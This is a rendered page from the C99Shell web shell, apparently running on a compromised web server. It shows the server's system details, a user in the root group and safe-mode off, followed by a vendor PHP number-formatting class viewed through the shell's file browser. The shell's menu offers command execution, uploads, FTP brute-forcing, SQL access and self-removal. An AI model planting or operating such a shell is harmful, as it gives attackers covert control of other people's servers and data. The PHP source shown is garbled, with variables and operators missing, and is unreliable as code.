!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/maba/math/   drwxr-xr-x
Free 26.16 GB of 117.98 GB (22.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NumberFormatter.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


namespace Maba\Component\Math;


class 
NumberFormatter implements NumberFormatterInterface
{
    protected 
$math;
    protected 
$defaultDecimalPoint;
    protected 
$defaultThousandsSeparator;

    public function 
__construct(MathInterface $math$defaultDecimalPoint '.'$defaultThousandsSeparator '')
    {
        
$this->math $math;
        
$this->defaultDecimalPoint $defaultDecimalPoint;
        
$this->defaultThousandsSeparator $defaultThousandsSeparator;
    }

    
/**
     * Formats number
     *
     * @param string      $number
     * @param int         $decimals
     * @param string|null $point Separator as decimal point
     * @param string|null $thousandsSeparator Separator for thousands
     * @param int|null    $padLength if provided, zeros are padded to the left. Provides needed integer part length
     *
     * @return string
     */
    
public function formatNumber($number$decimals 0$point null$thousandsSeparator null$padLength null)
    {
        if (
$point === null) {
            
$point $this->defaultDecimalPoint;
        }
        if (
$thousandsSeparator === null) {
            
$thousandsSeparator $this->defaultThousandsSeparator;
        }

        
$number $this->math->round($number$decimals);
        
$negative $this->math->isNegative($number);
        
$number $this->math->abs($number);

        
$parts explode('.'$number2);
        
$integer $parts[0];
        
$fraction = isset($parts[1]) ? $parts[1] : '0';

        
$integer str_pad(
            
ltrim($integer'0'),
            
$padLength !== null && $padLength $padLength 1,
            
'0',
            
STR_PAD_LEFT
        
);
        
$result ltrim(implode($thousandsSeparatorstr_split(
            
str_repeat(' ', (strlen($integer) % 3) % 3) . $integer,
            
3
        
)), ' ');
        if (
$result === '') {
            
$result '0';
        }

        if (
$decimals 0) {
            
$result .= $point str_pad(substr($fraction0$decimals), $decimals'0'STR_PAD_RIGHT);
        }

        if (
$negative) {
            
$result '-' $result;
        }

        return 
$result;
    }


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--